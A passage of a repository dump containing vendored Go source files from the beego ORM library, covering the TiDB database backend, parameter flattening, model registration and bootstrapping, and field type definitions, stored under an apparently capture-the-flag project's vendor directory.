    "content": "// Copyright 2015 TiDB Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"fmt\"\n)\n\n// mysql dbBaser implementation.\ntype dbBaseTidb struct {\n\tdbBase\n}\n\nvar _ dbBaser = new(dbBaseTidb)\n\n// get mysql operator.\nfunc (d *dbBaseTidb) OperatorSQL(operator string) string {\n\treturn mysqlOperators[operator]\n}\n\n// get mysql table field types.\nfunc (d *dbBaseTidb) DbTypes() map[string]string {\n\treturn mysqlTypes\n}\n\n// show table sql for mysql.\nfunc (d *dbBaseTidb) ShowTablesQuery() string {\n\treturn \"SELECT table_name FROM information_schema.tables WHERE table_type = 'BASE TABLE' AND table_schema = DATABASE()\"\n}\n\n// show columns sql of table for mysql.\nfunc (d *dbBaseTidb) ShowColumnsQuery(table string) string {\n\treturn fmt.Sprintf(\"SELECT COLUMN_NAME, COLUMN_TYPE, IS_NULLABLE FROM information_schema.columns \"+\n\t\t\"WHERE table_schema = DATABASE() AND table_name = '%s'\", table)\n}\n\n// execute sql to check index exist.\nfunc (d *dbBaseTidb) IndexExists(db dbQuerier, table string, name string) bool {\n\trow := db.QueryRow(\"SELECT count(*) FROM information_schema.statistics \"+\n\t\t\"WHERE table_schema = DATABASE() AND table_name = ? AND index_name = ?\", table, name)\n\tvar cnt int\n\trow.Scan(&cnt)\n\treturn cnt > 0\n}\n\n// create new mysql dbBaser.\nfunc newdbBaseTidb() dbBaser {\n\tb := new(dbBaseTidb)\n\tb.ins = b\n\treturn b\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/db_utils.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"fmt\"\n\t\"reflect\"\n\t\"time\"\n)\n\n// get table alias.\nfunc getDbAlias(name string) *alias {\n\tif al, ok := dataBaseCache.get(name); ok {\n\t\treturn al\n\t}\n\tpanic(fmt.Errorf(\"unknown DataBase alias name %s\", name))\n}\n\n// get pk column info.\nfunc getExistPk(mi *modelInfo, ind reflect.Value) (column string, value interface{}, exist bool) {\n\tfi := mi.fields.pk\n\n\tv := ind.FieldByIndex(fi.fieldIndex)\n\tif fi.fieldType&IsPositiveIntegerField > 0 {\n\t\tvu := v.Uint()\n\t\texist = vu > 0\n\t\tvalue = vu\n\t} else if fi.fieldType&IsIntegerField > 0 {\n\t\tvu := v.Int()\n\t\texist = true\n\t\tvalue = vu\n\t} else if fi.fieldType&IsRelField > 0 {\n\t\t_, value, exist = getExistPk(fi.relModelInfo, reflect.Indirect(v))\n\t} else {\n\t\tvu := v.String()\n\t\texist = vu != \"\"\n\t\tvalue = vu\n\t}\n\n\tcolumn = fi.column\n\treturn\n}\n\n// get fields description as flatted string.\nfunc getFlatParams(fi *fieldInfo, args []interface{}, tz *time.Location) (params []interface{}) {\n\noutFor:\n\tfor _, arg := range args {\n\t\tval := reflect.ValueOf(arg)\n\n\t\tif arg == nil {\n\t\t\tparams = append(params, arg)\n\t\t\tcontinue\n\t\t}\n\n\t\tkind := val.Kind()\n\t\tif kind == reflect.Ptr {\n\t\t\tval = val.Elem()\n\t\t\tkind = val.Kind()\n\t\t\targ = val.Interface()\n\t\t}\n\n\t\tswitch kind {\n\t\tcase reflect.String:\n\t\t\tv := val.String()\n\t\t\tif fi != nil {\n\t\t\t\tif fi.fieldType == TypeTimeField || fi.fieldType == TypeDateField || fi.fieldType == TypeDateTimeField {\n\t\t\t\t\tvar t time.Time\n\t\t\t\t\tvar err error\n\t\t\t\t\tif len(v) >= 19 {\n\t\t\t\t\t\ts := v[:19]\n\t\t\t\t\t\tt, err = time.ParseInLocation(formatDateTime, s, DefaultTimeLoc)\n\t\t\t\t\t} else if len(v) >= 10 {\n\t\t\t\t\t\ts := v\n\t\t\t\t\t\tif len(v) > 10 {\n\t\t\t\t\t\t\ts = v[:10]\n\t\t\t\t\t\t}\n\t\t\t\t\t\tt, err = time.ParseInLocation(formatDate, s, tz)\n\t\t\t\t\t} else {\n\t\t\t\t\t\ts := v\n\t\t\t\t\t\tif len(s) > 8 {\n\t\t\t\t\t\t\ts = v[:8]\n\t\t\t\t\t\t}\n\t\t\t\t\t\tt, err = time.ParseInLocation(formatTime, s, tz)\n\t\t\t\t\t}\n\t\t\t\t\tif err == nil {\n\t\t\t\t\t\tif fi.fieldType == TypeDateField {\n\t\t\t\t\t\t\tv = t.In(tz).Format(formatDate)\n\t\t\t\t\t\t} else if fi.fieldType == TypeDateTimeField {\n\t\t\t\t\t\t\tv = t.In(tz).Format(formatDateTime)\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tv = t.In(tz).Format(formatTime)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\targ = v\n\t\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\t\targ = val.Int()\n\t\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64:\n\t\t\targ = val.Uint()\n\t\tcase reflect.Float32:\n\t\t\targ, _ = StrTo(ToStr(arg)).Float64()\n\t\tcase reflect.Float64:\n\t\t\targ = val.Float()\n\t\tcase reflect.Bool:\n\t\t\targ = val.Bool()\n\t\tcase reflect.Slice, reflect.Array:\n\t\t\tif _, ok := arg.([]byte); ok {\n\t\t\t\tcontinue outFor\n\t\t\t}\n\n\t\t\tvar args []interface{}\n\t\t\tfor i := 0; i < val.Len(); i++ {\n\t\t\t\tv := val.Index(i)\n\n\t\t\t\tvar vu interface{}\n\t\t\t\tif v.CanInterface() {\n\t\t\t\t\tvu = v.Interface()\n\t\t\t\t}\n\n\t\t\t\tif vu == nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\targs = append(args, vu)\n\t\t\t}\n\n\t\t\tif len(args) > 0 {\n\t\t\t\tp := getFlatParams(fi, args, tz)\n\t\t\t\tparams = append(params, p...)\n\t\t\t}\n\t\t\tcontinue outFor\n\t\tcase reflect.Struct:\n\t\t\tif v, ok := arg.(time.Time); ok {\n\t\t\t\tif fi != nil && fi.fieldType == TypeDateField {\n\t\t\t\t\targ = v.In(tz).Format(formatDate)\n\t\t\t\t} else if fi != nil && fi.fieldType == TypeDateTimeField {\n\t\t\t\t\targ = v.In(tz).Format(formatDateTime)\n\t\t\t\t} else if fi != nil && fi.fieldType == TypeTimeField {\n\t\t\t\t\targ = v.In(tz).Format(formatTime)\n\t\t\t\t} else {\n\t\t\t\t\targ = v.In(tz).Format(formatDateTime)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\ttyp := val.Type()\n\t\t\t\tname := getFullName(typ)\n\t\t\t\tvar value interface{}\n\t\t\t\tif mmi, ok := modelCache.getByFullName(name); ok {\n\t\t\t\t\tif _, vu, exist := getExistPk(mmi, val); exist {\n\t\t\t\t\t\tvalue = vu\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\targ = value\n\n\t\t\t\tif arg == nil {\n\t\t\t\t\tpanic(fmt.Errorf(\"need a valid args value, unknown table or value `%s`\", name))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tparams = append(params, arg)\n\t}\n\treturn\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/models.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"sync\"\n)\n\nconst (\n\todCascade             = \"cascade\"\n\todSetNULL             = \"set_null\"\n\todSetDefault          = \"set_default\"\n\todDoNothing           = \"do_nothing\"\n\tdefaultStructTagName  = \"orm\"\n\tdefaultStructTagDelim = \";\"\n)\n\nvar (\n\tmodelCache = &_modelCache{\n\t\tcache:           make(map[string]*modelInfo),\n\t\tcacheByFullName: make(map[string]*modelInfo),\n\t}\n)\n\n// model info collection\ntype _modelCache struct {\n\tsync.RWMutex    // only used outsite for bootStrap\n\torders          []string\n\tcache           map[string]*modelInfo\n\tcacheByFullName map[string]*modelInfo\n\tdone            bool\n}\n\n// get all model info\nfunc (mc *_modelCache) all() map[string]*modelInfo {\n\tm := make(map[string]*modelInfo, len(mc.cache))\n\tfor k, v := range mc.cache {\n\t\tm[k] = v\n\t}\n\treturn m\n}\n\n// get ordered model info\nfunc (mc *_modelCache) allOrdered() []*modelInfo {\n\tm := make([]*modelInfo, 0, len(mc.orders))\n\tfor _, table := range mc.orders {\n\t\tm = append(m, mc.cache[table])\n\t}\n\treturn m\n}\n\n// get model info by table name\nfunc (mc *_modelCache) get(table string) (mi *modelInfo, ok bool) {\n\tmi, ok = mc.cache[table]\n\treturn\n}\n\n// get model info by full name\nfunc (mc *_modelCache) getByFullName(name string) (mi *modelInfo, ok bool) {\n\tmi, ok = mc.cacheByFullName[name]\n\treturn\n}\n\n// set model info to collection\nfunc (mc *_modelCache) set(table string, mi *modelInfo) *modelInfo {\n\tmii := mc.cache[table]\n\tmc.cache[table] = mi\n\tmc.cacheByFullName[mi.fullName] = mi\n\tif mii == nil {\n\t\tmc.orders = append(mc.orders, table)\n\t}\n\treturn mii\n}\n\n// clean all model info.\nfunc (mc *_modelCache) clean() {\n\tmc.orders = make([]string, 0)\n\tmc.cache = make(map[string]*modelInfo)\n\tmc.cacheByFullName = make(map[string]*modelInfo)\n\tmc.done = false\n}\n\n// ResetModelCache Clean model cache. Then you can re-RegisterModel.\n// Common use this api for test case.\nfunc ResetModelCache() {\n\tmodelCache.clean()\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/models_boot.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"reflect\"\n\t\"strings\"\n)\n\n// register models.\n// PrefixOrSuffix means table name prefix or suffix.\n// isPrefix whether the prefix is prefix or suffix\nfunc registerModel(PrefixOrSuffix string, model interface{}, isPrefix bool) {\n\tval := reflect.ValueOf(model)\n\ttyp := reflect.Indirect(val).Type()\n\n\tif val.Kind() != reflect.Ptr {\n\t\tpanic(fmt.Errorf(\"<orm.RegisterModel> cannot use non-ptr model struct `%s`\", getFullName(typ)))\n\t}\n\t// For this case:\n\t// u := &User{}\n\t// registerModel(&u)\n\tif typ.Kind() == reflect.Ptr {\n\t\tpanic(fmt.Errorf(\"<orm.RegisterModel> only allow ptr model struct, it looks you use two reference to the struct `%s`\", typ))\n\t}\n\n\ttable := getTableName(val)\n\n\tif PrefixOrSuffix != \"\" {\n\t\tif isPrefix {\n\t\t\ttable = PrefixOrSuffix + table\n\t\t} else {\n\t\t\ttable = table + PrefixOrSuffix\n\t\t}\n\t}\n\t// models's fullname is pkgpath + struct name\n\tname := getFullName(typ)\n\tif _, ok := modelCache.getByFullName(name); ok {\n\t\tfmt.Printf(\"<orm.RegisterModel> model `%s` repeat register, must be unique\\n\", name)\n\t\tos.Exit(2)\n\t}\n\n\tif _, ok := modelCache.get(table); ok {\n\t\tfmt.Printf(\"<orm.RegisterModel> table name `%s` repeat register, must be unique\\n\", table)\n\t\tos.Exit(2)\n\t}\n\n\tmi := newModelInfo(val)\n\tif mi.fields.pk == nil {\n\toutFor:\n\t\tfor _, fi := range mi.fields.fieldsDB {\n\t\t\tif strings.ToLower(fi.name) == \"id\" {\n\t\t\t\tswitch fi.addrValue.Elem().Kind() {\n\t\t\t\tcase reflect.Int, reflect.Int32, reflect.Int64, reflect.Uint, reflect.Uint32, reflect.Uint64:\n\t\t\t\t\tfi.auto = true\n\t\t\t\t\tfi.pk = true\n\t\t\t\t\tmi.fields.pk = fi\n\t\t\t\t\tbreak outFor\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif mi.fields.pk == nil {\n\t\t\tfmt.Printf(\"<orm.RegisterModel> `%s` needs a primary key field, default is to use 'id' if not set\\n\", name)\n\t\t\tos.Exit(2)\n\t\t}\n\n\t}\n\n\tmi.table = table\n\tmi.pkg = typ.PkgPath()\n\tmi.model = model\n\tmi.manual = true\n\n\tmodelCache.set(table, mi)\n}\n\n// bootstrap models\nfunc bootStrap() {\n\tif modelCache.done {\n\t\treturn\n\t}\n\tvar (\n\t\terr    error\n\t\tmodels map[string]*modelInfo\n\t)\n\tif dataBaseCache.getDefault() == nil {\n\t\terr = fmt.Errorf(\"must have one register DataBase alias named `default`\")\n\t\tgoto end\n\t}\n\n\t// set rel and reverse model\n\t// RelManyToMany set the relTable\n\tmodels = modelCache.all()\n\tfor _, mi := range models {\n\t\tfor _, fi := range mi.fields.columns {\n\t\t\tif fi.rel || fi.reverse {\n\t\t\t\telm := fi.addrValue.Type().Elem()\n\t\t\t\tif fi.fieldType == RelReverseMany || fi.fieldType == RelManyToMany {\n\t\t\t\t\telm = elm.Elem()\n\t\t\t\t}\n\t\t\t\t// check the rel or reverse model already register\n\t\t\t\tname := getFullName(elm)\n\t\t\t\tmii, ok := modelCache.getByFullName(name)\n\t\t\t\tif !ok || mii.pkg != elm.PkgPath() {\n\t\t\t\t\terr = fmt.Errorf(\"can not find rel in field `%s`, `%s` may be miss register\", fi.fullName, elm.String())\n\t\t\t\t\tgoto end\n\t\t\t\t}\n\t\t\t\tfi.relModelInfo = mii\n\n\t\t\t\tswitch fi.fieldType {\n\t\t\t\tcase RelManyToMany:\n\t\t\t\t\tif fi.relThrough != \"\" {\n\t\t\t\t\t\tif i := strings.LastIndex(fi.relThrough, \".\"); i != -1 && len(fi.relThrough) > (i+1) {\n\t\t\t\t\t\t\tpn := fi.relThrough[:i]\n\t\t\t\t\t\t\trmi, ok := modelCache.getByFullName(fi.relThrough)\n\t\t\t\t\t\t\tif !ok || pn != rmi.pkg {\n\t\t\t\t\t\t\t\terr = fmt.Errorf(\"field `%s` wrong rel_through value `%s` cannot find table\", fi.fullName, fi.relThrough)\n\t\t\t\t\t\t\t\tgoto end\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tfi.relThroughModelInfo = rmi\n\t\t\t\t\t\t\tfi.relTable = rmi.table\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\terr = fmt.Errorf(\"field `%s` wrong rel_through value `%s`\", fi.fullName, fi.relThrough)\n\t\t\t\t\t\t\tgoto end\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\ti := newM2MModelInfo(mi, mii)\n\t\t\t\t\t\tif fi.relTable != \"\" {\n\t\t\t\t\t\t\ti.table = fi.relTable\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif v := modelCache.set(i.table, i); v != nil {\n\t\t\t\t\t\t\terr = fmt.Errorf(\"the rel table name `%s` already registered, cannot be use, please change one\", fi.relTable)\n\t\t\t\t\t\t\tgoto end\n\t\t\t\t\t\t}\n\t\t\t\t\t\tfi.relTable = i.table\n\t\t\t\t\t\tfi.relThroughModelInfo = i\n\t\t\t\t\t}\n\n\t\t\t\t\tfi.relThroughModelInfo.isThrough = true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// check the rel filed while the relModelInfo also has filed point to current model\n\t// if not exist, add a new field to the relModelInfo\n\tmodels = modelCache.all()\n\tfor _, mi := range models {\n\t\tfor _, fi := range mi.fields.fieldsRel {\n\t\t\tswitch fi.fieldType {\n\t\t\tcase RelForeignKey, RelOneToOne, RelManyToMany:\n\t\t\t\tinModel := false\n\t\t\t\tfor _, ffi := range fi.relModelInfo.fields.fieldsReverse {\n\t\t\t\t\tif ffi.relModelInfo == mi {\n\t\t\t\t\t\tinModel = true\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif !inModel {\n\t\t\t\t\trmi := fi.relModelInfo\n\t\t\t\t\tffi := new(fieldInfo)\n\t\t\t\t\tffi.name = mi.name\n\t\t\t\t\tffi.column = ffi.name\n\t\t\t\t\tffi.fullName = rmi.fullName + \".\" + ffi.name\n\t\t\t\t\tffi.reverse = true\n\t\t\t\t\tffi.relModelInfo = mi\n\t\t\t\t\tffi.mi = rmi\n\t\t\t\t\tif fi.fieldType == RelOneToOne {\n\t\t\t\t\t\tffi.fieldType = RelReverseOne\n\t\t\t\t\t} else {\n\t\t\t\t\t\tffi.fieldType = RelReverseMany\n\t\t\t\t\t}\n\t\t\t\t\tif !rmi.fields.Add(ffi) {\n\t\t\t\t\t\tadded := false\n\t\t\t\t\t\tfor cnt := 0; cnt < 5; cnt++ {\n\t\t\t\t\t\t\tffi.name = fmt.Sprintf(\"%s%d\", mi.name, cnt)\n\t\t\t\t\t\t\tffi.column = ffi.name\n\t\t\t\t\t\t\tffi.fullName = rmi.fullName + \".\" + ffi.name\n\t\t\t\t\t\t\tif added = rmi.fields.Add(ffi); added {\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif !added {\n\t\t\t\t\t\t\tpanic(fmt.Errorf(\"cannot generate auto reverse field info `%s` to `%s`\", fi.fullName, ffi.fullName))\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tmodels = modelCache.all()\n\tfor _, mi := range models {\n\t\tfor _, fi := range mi.fields.fieldsRel {\n\t\t\tswitch fi.fieldType {\n\t\t\tcase RelManyToMany:\n\t\t\t\tfor _, ffi := range fi.relThroughModelInfo.fields.fieldsRel {\n\t\t\t\t\tswitch ffi.fieldType {\n\t\t\t\t\tcase RelOneToOne, RelForeignKey:\n\t\t\t\t\t\tif ffi.relModelInfo == fi.relModelInfo {\n\t\t\t\t\t\t\tfi.reverseFieldInfoTwo = ffi\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ffi.relModelInfo == mi {\n\t\t\t\t\t\t\tfi.reverseField = ffi.name\n\t\t\t\t\t\t\tfi.reverseFieldInfo = ffi\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif fi.reverseFieldInfoTwo == nil {\n\t\t\t\t\terr = fmt.Errorf(\"can not find m2m field for m2m model `%s`, ensure your m2m model defined correct\",\n\t\t\t\t\t\tfi.relThroughModelInfo.fullName)\n\t\t\t\t\tgoto end\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tmodels = modelCache.all()\n\tfor _, mi := range models {\n\t\tfor _, fi := range mi.fields.fieldsReverse {\n\t\t\tswitch fi.fieldType {\n\t\t\tcase RelReverseOne:\n\t\t\t\tfound := false\n\t\t\tmForA:\n\t\t\t\tfor _, ffi := range fi.relModelInfo.fields.fieldsByType[RelOneToOne] {\n\t\t\t\t\tif ffi.relModelInfo == mi {\n\t\t\t\t\t\tfound = true\n\t\t\t\t\t\tfi.reverseField = ffi.name\n\t\t\t\t\t\tfi.reverseFieldInfo = ffi\n\n\t\t\t\t\t\tffi.reverseField = fi.name\n\t\t\t\t\t\tffi.reverseFieldInfo = fi\n\t\t\t\t\t\tbreak mForA\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif !found {\n\t\t\t\t\terr = fmt.Errorf(\"reverse field `%s` not found in model `%s`\", fi.fullName, fi.relModelInfo.fullName)\n\t\t\t\t\tgoto end\n\t\t\t\t}\n\t\t\tcase RelReverseMany:\n\t\t\t\tfound := false\n\t\t\tmForB:\n\t\t\t\tfor _, ffi := range fi.relModelInfo.fields.fieldsByType[RelForeignKey] {\n\t\t\t\t\tif ffi.relModelInfo == mi {\n\t\t\t\t\t\tfound = true\n\t\t\t\t\t\tfi.reverseField = ffi.name\n\t\t\t\t\t\tfi.reverseFieldInfo = ffi\n\n\t\t\t\t\t\tffi.reverseField = fi.name\n\t\t\t\t\t\tffi.reverseFieldInfo = fi\n\n\t\t\t\t\t\tbreak mForB\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif !found {\n\t\t\t\tmForC:\n\t\t\t\t\tfor _, ffi := range fi.relModelInfo.fields.fieldsByType[RelManyToMany] {\n\t\t\t\t\t\tconditions := fi.relThrough != \"\" && fi.relThrough == ffi.relThrough ||\n\t\t\t\t\t\t\tfi.relTable != \"\" && fi.relTable == ffi.relTable ||\n\t\t\t\t\t\t\tfi.relThrough == \"\" && fi.relTable == \"\"\n\t\t\t\t\t\tif ffi.relModelInfo == mi && conditions {\n\t\t\t\t\t\t\tfound = true\n\n\t\t\t\t\t\t\tfi.reverseField = ffi.reverseFieldInfoTwo.name\n\t\t\t\t\t\t\tfi.reverseFieldInfo = ffi.reverseFieldInfoTwo\n\t\t\t\t\t\t\tfi.relThroughModelInfo = ffi.relThroughModelInfo\n\t\t\t\t\t\t\tfi.reverseFieldInfoTwo = ffi.reverseFieldInfo\n\t\t\t\t\t\t\tfi.reverseFieldInfoM2M = ffi\n\t\t\t\t\t\t\tffi.reverseFieldInfoM2M = fi\n\n\t\t\t\t\t\t\tbreak mForC\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif !found {\n\t\t\t\t\terr = fmt.Errorf(\"reverse field for `%s` not found in model `%s`\", fi.fullName, fi.relModelInfo.fullName)\n\t\t\t\t\tgoto end\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\nend:\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tos.Exit(2)\n\t}\n}\n\n// RegisterModel register models\nfunc RegisterModel(models ...interface{}) {\n\tif modelCache.done {\n\t\tpanic(fmt.Errorf(\"RegisterModel must be run before BootStrap\"))\n\t}\n\tRegisterModelWithPrefix(\"\", models...)\n}\n\n// RegisterModelWithPrefix register models with a prefix\nfunc RegisterModelWithPrefix(prefix string, models ...interface{}) {\n\tif modelCache.done {\n\t\tpanic(fmt.Errorf(\"RegisterModelWithPrefix must be run before BootStrap\"))\n\t}\n\n\tfor _, model := range models {\n\t\tregisterModel(prefix, model, true)\n\t}\n}\n\n// RegisterModelWithSuffix register models with a suffix\nfunc RegisterModelWithSuffix(suffix string, models ...interface{}) {\n\tif modelCache.done {\n\t\tpanic(fmt.Errorf(\"RegisterModelWithSuffix must be run before BootStrap\"))\n\t}\n\n\tfor _, model := range models {\n\t\tregisterModel(suffix, model, false)\n\t}\n}\n\n// BootStrap bootstrap models.\n// make all model parsed and can not add more models\nfunc BootStrap() {\n\tif modelCache.done {\n\t\treturn\n\t}\n\tmodelCache.Lock()\n\tdefer modelCache.Unlock()\n\tbootStrap()\n\tmodelCache.done = true\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/models_fields.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n\t\"time\"\n)\n\n// Define the Type enum\nconst (\n\tTypeBooleanField = 1 << iota\n\tTypeVarCharField\n\tTypeCharField\n\tTypeTextField\n\tTypeTimeField\n\tTypeDateField\n\tTypeDateTimeField\n\tTypeBitField\n\tTypeSmallIntegerField\n\tTypeIntegerField\n\tTypeBigIntegerField\n\tTypePositiveBitField\n\tTypePositiveSmallIntegerField\n\tTypePositiveIntegerField\n\tTypePositiveBigIntegerField\n\tTypeFloatField\n\tTypeDecimalField\n\tTypeJSONField\n\tTypeJsonbField\n\tRelForeignKey\n\tRelOneToOne\n\tRelManyToMany\n\tRelReverseOne\n\tRelReverseMany\n)\n\n// Define some logic enum\nconst (\n\tIsIntegerField         = ^-TypePositiveBigIntegerField >> 6 << 7\n\tIsPositiveIntegerField = ^-TypePositiveBigIntegerField >> 10 << 11\n\tIsRelField             = ^-RelReverseMany >> 18 << 19\n\tIsFieldType            = ^-RelReverseMany<<1 + 1\n)\n\n// BooleanField A true/false field.\ntype BooleanField bool\n\n// Value return the BooleanField\nfunc (e BooleanField) Value() bool {\n\treturn bool(e)\n}\n\n// Set will set the BooleanField\nfunc (e *BooleanField) Set(d bool) {\n\t*e = BooleanField(d)\n}\n\n// String format the Bool to string\nfunc (e *BooleanField) String() string {\n\treturn strconv.FormatBool(e.Value())\n}\n\n// FieldType return BooleanField the type\nfunc (e *BooleanField) FieldType() int {\n\treturn TypeBooleanField\n}\n\n// SetRaw set the interface to bool\nfunc (e *BooleanField) SetRaw(value interface{}) error {\n\tswitch d := value.(type) {\n\tcase bool:\n\t\te.Set(d)\n\tcase string:\n\t\tv, err := StrTo(d).Bool()\n\t\tif err != nil {\n\t\t\te.Set(v)\n\t\t}\n\t\treturn err\n\tdefault:\n\t\treturn fmt.Errorf(\"<BooleanField.SetRaw> unknown value `%s`\", value)\n\t}\n\treturn nil\n}\n\n// RawValue return the current value\nfunc (e *BooleanField) RawValue() interface{} {\n\treturn e.Value()\n}\n\n// verify the BooleanField implement the Fielder interface\nvar _ Fielder = new(BooleanField)\n\n// CharField A string field\n// required values tag: size\n// The size is enforced at the database level and in models’s validation.\n// eg: `orm:\"size(120)\"`\ntype CharField string\n\n// Value return the CharField's Value\nfunc (e CharField) Value() string {\n\treturn string(e)\n}\n\n// Set CharField value\nfunc (e *CharField) Set(d string) {\n\t*e = CharField(d)\n}\n\n// String return the CharField\nfunc (e *CharField) String() string {\n\treturn e.Value()\n}\n\n// FieldType return the enum type\nfunc (e *CharField) FieldType() int {\n\treturn TypeVarCharField\n}\n\n// SetRaw set the interface to string\nfunc (e *CharField) SetRaw(value interface{}) error {\n\tswitch d := value.(type) {\n\tcase string:\n\t\te.Set(d)\n\tdefault:\n\t\treturn fmt.Errorf(\"<CharField.SetRaw> unknown value `%s`\", value)\n\t}\n\treturn nil\n}\n\n// RawValue return the CharField value\nfunc (e *CharField) RawValue() interface{} {\n\treturn e.Value()\n}\n\n// verify CharField implement Fielder\nvar _ Fielder = new(CharField)\n\n// TimeField A time, represented in go by a time.Time instance.\n// only time values like 10:00:00\n// Has a few extra, optional attr tag:\n//\n// auto_now:\n// Automatically set the field to now every time the object is saved. Useful for “last-modified” timestamps.\n// Note that the current date is always used; it’s not just a default value that you can override.\n//\n// auto_now_add:\n// Automatically set the field to now when the object is first created. Useful for creation of timestamps.\n// Note that the current date is always used; it’s not just a default value that you can override.\n//\n// eg: `orm:\"auto_now\"` or `orm:\"auto_now_add\"`\ntype TimeField time.Time\n\n// Value return the time.Time\nfunc (e TimeField) Value() time.Time {\n\treturn time.Time(e)\n}\n\n// Set set the TimeField's value\nfunc (e *TimeField) Set(d time.Time) {\n\t*e = TimeField(d)\n}\n\n// String convert time to string\nfunc (e *TimeField) String() string {\n\treturn e.Value().String()\n}\n\n// FieldType return enum type Date\nfunc (e *TimeField) FieldType() int {\n\treturn TypeDateField\n}\n\n// SetRaw convert the interface to time.Time. Allow string and time.Time\nfunc (e *TimeField) SetRaw(value interface{}) error {\n\tswitch d := value.(type) {\n\tcase time.Time:\n\t\te.Set(d)\n\tcase string:\n\t\tv, err := timeParse(d, formatTime)\n\t\tif err != nil {\n\t\t\te.Set(v)\n\t\t}\n\t\treturn err\n\tdefault:\n\t\treturn fmt.Errorf(\"<TimeField.SetRaw> unknown value `%s`\", value)\n\t}\n\treturn nil\n}\n\n// RawValue return time value\nfunc (e *TimeField) RawValue() interface{} {\n\treturn e.Value()\n}\n\nvar _ Fielder = new(TimeField)\n\n// DateField A date, represented in go by a time.Time instance.\n// only date values like 2006-01-02\n// Has a few extra, optional attr tag:\n//\n// auto_now:\n// Automatically set the field to now every time the object is saved. Useful for “last-modified” timestamps.\n// Note that the current date is always used; it’s not just a default value that you can override.\n//\n// auto_now_add:\n// Automatically set the field to now when the object is first created. Useful for creation of timestamps.\n// Note that the current date is always used; it’s not just a default value that you can override.\n//\n// eg: `orm:\"auto_now\"` or `orm:\"auto_now_add\"`\ntype DateField time.Time\n\n// Value return the 